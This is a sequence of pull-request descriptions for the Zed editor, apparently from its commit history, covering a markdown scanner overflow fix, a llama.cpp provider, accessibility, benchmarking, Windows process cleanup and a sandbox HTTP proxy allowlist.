- Added native support for AWS Bedrock's Mantle endpoint, enabling
GPT-5.5, GPT-5.4, and Grok 4.3 through the Amazon Bedrock provider.
Zed bundles the markdown grammar's block scanner natively, and its
`serialize()` `memcpy`s the open-block stack into tree-sitter's fixed
1024-byte serialization buffer with no bounds check. Markdown with
roughly 255+ nested blocks overflows that buffer, and because it sits at
the front of `struct TSParser`, the overflow clobbers the adjacent
parse-stack pointer and heap. Debug builds of the tree-sitter runtime
catch this with an assertion, but release builds like Zed's have no
check and silently corrupt parser memory — which is why this surfaced as
wild crashes deep in tree-sitter's parse stack rather than clean
failures. Still open upstream as
tree-sitter-grammars/tree-sitter-markdown#243.
This PR points `tree-sitter-md` at a `zed-industries` fork whose
`serialize()` refuses to write state that doesn't fit (bounded by the
same running counter the header writes advance, so the check can't
drift). The scanner then deserializes to a fresh state, and the
pathologically nested region surfaces as ordinary tree-sitter `ERROR`
nodes — visible, safe degradation for an adversarial input class,
deliberately chosen over the two alternatives: truncating the block
stack would deserialize into a plausible-but-wrong state and produce
silently incorrect trees, and the scanner ABI offers no error channel at
all (`serialize()` returns a length into a fixed buffer; there is no way
to fail a parse). A nesting-depth cap at block-open time would give
fully deterministic semantics, but that's a behavior change across 13
scanner call sites that belongs upstream, not in a hotfix fork.
The pinned branch is upstream's `9a23c1a9` (the revision Zed already
pinned) plus exactly two commits, for easy review: the guard
(zed-industries/tree-sitter-markdown@179422edf8)
and regression tests
(zed-industries/tree-sitter-markdown@b596e73728).
The deep-nesting test aborts on the unguarded scanner and passes with
the guard; a moderate-nesting test pins that inputs fitting the buffer
still parse cleanly. The same change is also up as
zed-industries/tree-sitter-markdown#1 into the fork's default branch
(`split_parser`), so future pin bumps don't lose it; if upstream fixes
#243, we can drop the fork entirely on the next bump.
Closes FR-115
Release Notes:
- Fixed a potential crash when editing Markdown with deeply nested
blocks
Adds a dylint library under tooling/lints that flags Zed-specific
anti-patterns:
* shared_string_from_str_literal,
* async_block_without_await,
* entity_update_in_render,
* notify_in_render,
* owned_string_into_shared,
* len_in_loop_condition, and
* blocking_io_on_foreground.
Includes UI tests, a single-lint helper, and workspace.metadata.dylint
registration so cargo dylint --all discovers it. The library pins its
own nightly toolchain (kept out of the main workspace) and tracks dylint
6.
Release Notes:
- N/A
Self-Review Checklist:
- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable
Closes #ISSUE
Release Notes:
- N/A or Added/Fixed/Improved ...
Hi there, I'm Celina from Hugging Face! Opening this PR to add
[llama.cpp](https://llama.app) as a model provider
# Objective
Today Zed users running llama.cpp have to fall back to the generic
OpenAI-compatible provider, which means no auto-discovery (the router
mode (`llama serve`) discovers models from the cache and loads them on
demand) and manual configuration of every model and its capabilities.
This PR makes `llama.cpp` a first-class provider with the same
auto-discovery experience.
## Solution
- Add a `llama_cpp` client crate with the OpenAI-compatible chat types
(`/v1/chat/completions`, including `reasoning_content`) and the
discovery types (`/v1/models`, `/props`), mirroring the existing
`ollama` crate.
- Add the provider in
`crates/language_models/src/provider/llama_cpp.rs`, modeled on the
Ollama provider (settings, configuration view, event mapping).
- Auto discover served models and their context length and tool/vision
support from `/props`. Set `auto_discover: false` to list models
manually instead.
- An unloaded model can't be inspected without loading it, so it is
listed with optimistic defaults (large context, tools enabled) and is
usable from the first message; its real context length and tool support
are filled in once it loads. These live behind a shared map, so a model
already selected in an open conversation picks them up without being
re-selected.
- Show load progress. The provider subscribes to `/models/sse` and
surfaces each model's load progress (e.g. "Loading weights 42%") in its
display name, reconciling stale labels against `/v1/models`. Builds
without `/models/sse` degrade gracefully - no progress, and no
capability refresh after the initial discovery.
- Add settings (`api_url`, `auto_discover`, `available_models` with
per-model `max_tokens` / `supports_tools` / `supports_images`,
`context_window`, `custom_headers`), the provider icon, a `default.json`
entry, and documentation under "Use a Local Model".
No new dependencies: the crate reuses existing workspace dependencies,
and shared state uses `std::sync::RwLock`.
## Testing
- Unit tests in both new crates cover wire/response parsing, model
discovery for single-model and router shapes, the cold-start optimistic
defaults, the in-place capability refresh once a model loads, and the
`/models/sse` event handling (state changes, load failure, load
progress).
- Built Zed locally and ran it against a local `llama serve` router:
confirmed models are discovered without manual configuration, that the
first message works before a model has finished loading, that load
progress is shown in the model's display name while it loads, and that
the reported context length and tool support refine to the model's real
values once it finishes loading.
- Platforms: tested on macOS (Apple Silicon).
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
## Showcase
The generation speed (tokens/sec) depends on the machine you're running
the model, here it's a Apple M3 Max 64GB running a 4-bit quant of
https://huggingface.co/Qwen/Qwen3.5-35B-A3B. For the load progress
status, make sure to upgrade your llama.cpp version to the latest build.
https://github.com/user-attachments/assets/0254f6ef-abe9-42ed-810b-ef1a5b8fa3bd
---
Release Notes:
- Added llama.cpp as a language model provider
---------
Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
We weren't handling these really before, just rendering the URI. This
should provide best-effort support for what we can render.
<img width="800" height="359" alt="image"
src="https://github.com/user-attachments/assets/51f101c7-c3be-4801-9000-62000a71faa6"
/>
(I will remove the extra labels that was just for testing)
Release Notes:
- acp: Support embedded resources in tool calls.
Pulls in https://github.com/zed-industries/livekit-rust-sdks/pull/13 to
fix a cause of panics with webrtc
Fixes ZED-5J7
Release Notes:
- N/A or Added/Fixed/Improved ...
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] ~~Unsafe blocks (if any) have justifying comments~~
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] ~~Performance impact has been considered and is acceptable~~
Release Notes:
- Added shell completions generation for CLI with `zed --completions
<SHELL>`
Co-authored-by: silvanshade <silvanshade@users.noreply.github.com>
Co-authored-by: Yara 🏳️⚧️ <git@yara.blue>
We finally have a cancellation mechanism to use! Made the non
side-effectful handlers stop their work if we get a cancel request
notification.
Release Notes:
- N/A
Adds:
- aria attributes to most UI elements in settings UI
- a new a11y API to GPUI
- a fix for a GPUI keyboard focus bug
## Accesible settings UI
Settings UI should now be fully accessible to users of assistive
technology.
**However**, there are some caveats:
- accessibility features require zed to be launched with the
`ZED_EXPERIMENTAL_A11Y=1` env var to be set
- I have not exhaustively checked every control
- There are some quite surprising keyboard focus behaviours which
predate this code
- The main Zed UI is still largely inaccessible, though a handful of
shared components will now report themselves, but the experience is
suboptimal.
For anyone wishing to try out the settings UI:
- make sure `ZED_EXPERIMENTAL_A11Y=1` is set
- open zed
- press `ctrl-,` (or `cmd+,` on a mac) to open settings UI in a separate
window
## `aria_active_descendant`
This is equivalent to the
[`aria-activedescendant`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Reference/Attributes/aria-activedescendant)
API on the web.
It allows a container to maintain focus, while indicating that one of
its children should be active. Zed uses this for menus and combo boxes,
for example.
GPUI will report a div with `.aria_active_descendant()` as long as:
- an ancestor is focused
- only one descendant of the focused ancestor has
`.aria_active_descendant()`
Two descendants with this property where the focused node is a common
ancestor is an error.
## GPUI keyboard fix
GPUI will map a space or enter keypress to a div's `on_click` handler,
if it exists. However, the keyboard-driven path was missing some checks
that the mouseclick path has.
With this PR, for an enter/space keypress to be considered a click,
between the "key down" and "key up" events:
- there must be no other key events
- focus must not move to a different node
This fixes an existing bug with combo boxes in zed where:
- enter maps to `menu::Confirm` **on key down*
- the menu item is selected
- focus moves to the combo box
- enter then triggers the combo box's `on_click` **on key up**,
re-opening the menu
---
Release Notes:
- N/A or Added/Fixed/Improved ...
---------
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Third of the `http_proxy` stack. Stacked on #59217 and the
upstream-config PR — review/merge those first.
Adds the in-process HTTP/HTTPS proxy server that enforces an
`Allowlist`. It speaks HTTP CONNECT for HTTPS tunnels and forward
proxying for plain HTTP, vets resolved addresses against
loopback/private/link-local ranges to prevent DNS-rebinding past the
sandbox, pins each connection to the destination approved for its first
request (so later keep-alive requests can't escape the policy decision),
optionally chains through the upstream proxy, and bounds header sizes,
connection counts, and connect/handshake waits since its sole client is
untrusted model-driven code running inside the editor process. Includes
end-to-end tests covering allowed/denied CONNECT and HTTP forward,
IP-literal handling, DNS-rebinding denial, and upstream chaining.
Still has no callers; wired into the agent terminal sandbox in the
remaining PRs of the stack.
Release Notes:
- N/A
---------
Co-authored-by: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Second of the `http_proxy` stack. Stacked on #59217 — review/merge that
first; this PR's diff is just the upstream-proxy config.
Adds `UpstreamProxy`: parsing of an upstream HTTP proxy from the
environment (`HTTPS_PROXY` / `HTTP_PROXY` / `ALL_PROXY` and lowercase
forms) with `NO_PROXY` bypass matching delegated to the `proxyvars`
crate, basic-auth credentials kept out of `Debug`/`Display`, and
IPv6/default-port normalization. The proxy server (next PR) uses this to
chain outbound connections through a corporate proxy when one is
configured.
Release Notes:
- N/A
First of a stack adding hostname-allowlisted network access to agent
terminal sandboxing. Adds a new `http_proxy` crate containing only the
allowlist policy types.
`HostPattern` parses exact hostnames or leading-`*.` subdomain
wildcards, normalizes IDNs to punycode, and rejects IP literals and
localhost-family names. `Allowlist` holds a set of patterns (or an
allow-any escape hatch), and `covers` implements host-pattern
subsumption (`*.github.com` covers `api.github.com`) used later to
decide when an already-granted permission covers a new request — the
network analogue of write-path subtree containment.
Pure, self-contained logic with no callers yet. The upstream-proxy
config and the proxy server that enforces these policies land in the
next two PRs.
Release Notes:
- N/A
On Windows, `util::process::Child::kill()` only terminated the direct
child process, and nothing tied the lifetime of spawned process trees to
Zed. External agent servers launched through ACP (e.g. `claude-code-acp`
via `npx`) spawn node workers and MCP servers as grandchildren, which
were orphaned on every session teardown and accumulated indefinitely —
hundreds of idle `node.exe` processes and GBs of RAM over days.
This PR assigns spawned processes to a Win32 job object configured with
`JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE`:
- `kill()` now calls `TerminateJobObject`, killing the entire tree
instead of just the (shell wrapper) child.
- Dropping `Child` closes the job handle, which makes the OS reap the
tree — including when Zed exits for any reason (even crashes), since the
OS closes its handles.
- Unix behavior (process groups via `killpg`) is unchanged.
Added two Windows tests that spawn a real `powershell -> ping` process
tree and assert the grandchild is terminated on `kill()` and on drop.
Both fail without the fix and pass with it. Verified with `cargo test -p
util`, `script/clippy -p util`, and `cargo check -p agent_servers -p
dap` on Windows 11.
Closes#58873
Release Notes:
- Fixed external agent servers and debug adapters leaking helper
processes (e.g. node workers and MCP servers) on Windows.
---------
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- N/A
This is a follow up to https://github.com/zed-industries/zed/pull/58169
and https://github.com/zed-industries/zed/pull/58518 after removing a
bunch of unsafe usage.
Before this, GPUI moved traffic lights by directly changing the native
button frames inside AppKit’s existing titlebar layout and the old
y-coordinate was based on the native titlebar height, so the buttons
moved visually while the titlebar tracking geometry could still be based
on the old layout.
Now the native titlebar container is resized and repositioned to contain
the traffic lights. We capture the original AppKit titlebar/button
frames, resize the titlebar container to fit the requested position,
move the native close/minimize/zoom buttons inside that container and
update AppKit tracking areas. This keeps the visible buttons and
hover/click geometry aligned.
### Before
https://github.com/user-attachments/assets/77dde6cb-3fc8-4166-bc86-22cf2c93e119
### After
https://github.com/user-attachments/assets/da84ade6-ef47-4e53-ae4a-3779315773f9
---------
Co-authored-by: Yara 🏳️⚧️ <git@yara.blue>
This PR builds out GPUI's benchmark harness so render benchmarks measure
realistic frame costs using GPUI-owned, runtime-gated instrumentation.
It adds measurements for frame draw time, dirty-to-draw latency,
invalidation coalescing, and frame-budget overruns, and runs benchmark
workloads with production-like concurrency.
## How it works
**Frame timings flow through the GPUI profiler.** `Window::draw` emits a
`FrameTiming { window_id, dirty_at, invalidations, draw_start, draw_end
}` event into a global ring buffer in `gpui::profiler`, mirroring the
existing task-timing channel. Collection is runtime-gated by
`profiler::set_frame_trace_enabled` (one relaxed atomic load when
disabled — no `Instant::now` calls in production). `BenchReport` is a
pure listener: it drains events through a cursor-based
`FrameTimingCollector` and builds histograms in the bench layer.
`Window` carries no bench-only cfg fields, and the same event channel
can later feed the miniprofiler UI or an in-app frame-time HUD.
**`BenchDispatcher`** is a multithreaded `PlatformDispatcher` for
benchmarks: background tasks run on a worker pool (same priority queue
as `LinuxDispatcher`, with task-profiler hooks), timers fire in real
time on a dedicated thread, and foreground tasks queue until the bench
thread drains them with a blocking `run_until_idle()`. Unlike
`TestDispatcher`, work executes in parallel in real time, so wall-clock
measurements reflect production concurrency. In-flight accounting is
panic-safe via drop guards.
**`gpui::bench_platform()`** returns a per-process `TestPlatform` backed
by the `BenchDispatcher`, cached in a thread-local so worker threads
persist across Criterion calibration passes. This replaces the earlier
approach of constructing a real platform per invocation, which had
process-global singleton issues, never ran foreground tasks (no run loop
pumped the main queue), and couldn't open windows on headless CI.
**Text shaping** uses `NoopTextSystem`: deterministic across
machines/font installations and CI-portable. Measured cost of this
trade: ~10% of editor draw time vs `MacTextSystem` (Noop still emits one
glyph per character at fixed advances, so downstream layout/paint
structure is preserved).
**GPU coverage (macOS only for now).** `PlatformHeadlessRenderer` gained
`render_scene`, which encodes and submits the scene to Metal against a
cached offscreen target without blocking on completion or reading pixels
back — matching production `present()` CPU cost (`render_scene_to_image`
would overstate it: it waits for the GPU and copies pixels back).
`TestWindow::draw` forwards scenes to the renderer, the real
`MetalAtlas` means glyph/SVG rasterization happens during paint, and
`bench_renderer` presents after each measured update. Platforms without
a headless renderer degrade to discarding the scene.
## Example
```rust
#[gpui::bench]
fn editor_render(cx: &mut BenchAppContext) {
init_context(cx);
let buffer = cx.update(|cx| { /* build a MultiBuffer */ });
let mut window = cx.add_empty_window();
let editor = window.update(|window, cx| {
let editor = window.replace_root(cx, |window, cx| {
let mut editor = Editor::new(EditorMode::full(), buffer, None, window, cx);
editor.set_style(editor::EditorStyle::default(), window, cx);
editor
});
window.focus(&editor.focus_handle(cx), cx);
editor
});
let mut move_down = true;
cx.bench_renderer(editor, move |editor, window, cx| {
if move_down {
editor.move_down(&MoveDown, window, cx);
} else {
editor.move_up(&MoveUp, window, cx);
}
move_down = !move_down;
});
}
```
## Example output (release, M-series)
```
editor_render time: [329.75 µs 330.17 µs 330.69 µs]
GPUI bench report (all observed iterations): editor_render
note: includes Criterion warmup/calibration
window dirty-to-draw:
samples: 31533
mean: 0.321ms
p50: 0.322ms
p90: 0.336ms
p95: 0.342ms
p99: 0.360ms
max: 0.504ms
frame budget overruns total: 0
frame budget overruns max: 0
window draw:
samples: 31533
mean: 0.295ms
p50: 0.295ms
p90: 0.307ms
p95: 0.313ms
p99: 0.330ms
max: 0.455ms
frame budget overruns total: 0
frame budget overruns max: 0
invalidations per frame: mean 5.00, max 5
```
(`invalidations per frame: mean 5.00` is real signal: each `move_down`
notifies the window five times before the draw.)
## Known limitations
- **Draw-per-flush**: the harness draws synchronously when effects flush
rather than coalescing invalidations to a vsync tick, so `dirty-to-draw`
excludes queueing delay, and `frame budget overruns` is a draw-time
budget proxy rather than actual missed presents. A frame-paced mode is
natural follow-up work.
- **GPU submission is measured on macOS only**; other platforms have no
headless renderer yet.
- The GPUI report includes Criterion warmup/calibration samples (noted
in the output); Criterion's `time` is the regression-gating number.
- `run_until_idle` waits for queued, running, and already-due work, but
not for timers that haven't reached their due time — the dispatcher runs
in real time and can't skip ahead like `TestDispatcher`'s virtual clock.
## Future work
- A vsync-like frame-pacing mode (suppress draw-on-flush; tick-driven
draw + present) so dirty-to-draw captures queueing delay
- Record present duration in `FrameTiming` so the report can split draw
vs present
- Benches that scroll through novel content (cold layout caches) and an
agent-panel render bench
- Headless renderers for Windows/Linux
- Move benches into a dedicated crate
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- N/A
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes FR-67
Release Notes:
- N/A or Added/Fixed/Improved ...
Closes AI-344
Closes AI-342
Moves agent skills management out of the agent panel and into the
settings UI. The skill creator (previously its own crate) now lives in
`settings_ui` as a settings page, alongside the skills setup page. The
agent panel's ellipsis menu now links to the settings page instead of
hosting skill management directly.
Release Notes:
- Improved agent skills management by moving it into the settings UI
---------
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
This will improve local dev installation times as well as CI times by a
lot (I measured it once and for some extensions, it might save us up to
60% of CI time. It will similarly help locally).
I also moved the debug adapter schema validation to the other
validations, as it felt it makes more sense to check there as opposed to
doing this during the compilation step.
Release Notes:
- Improved dev extension installation times for language extensions with
multiple grammars or language servers.
Stabilizes context windows + persistent session/delete for acp agents
that support them
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- acp: Show context window usage and cost metrics for external agents
that support it.
- acp: Persist session deletion from history for external agents that
support it.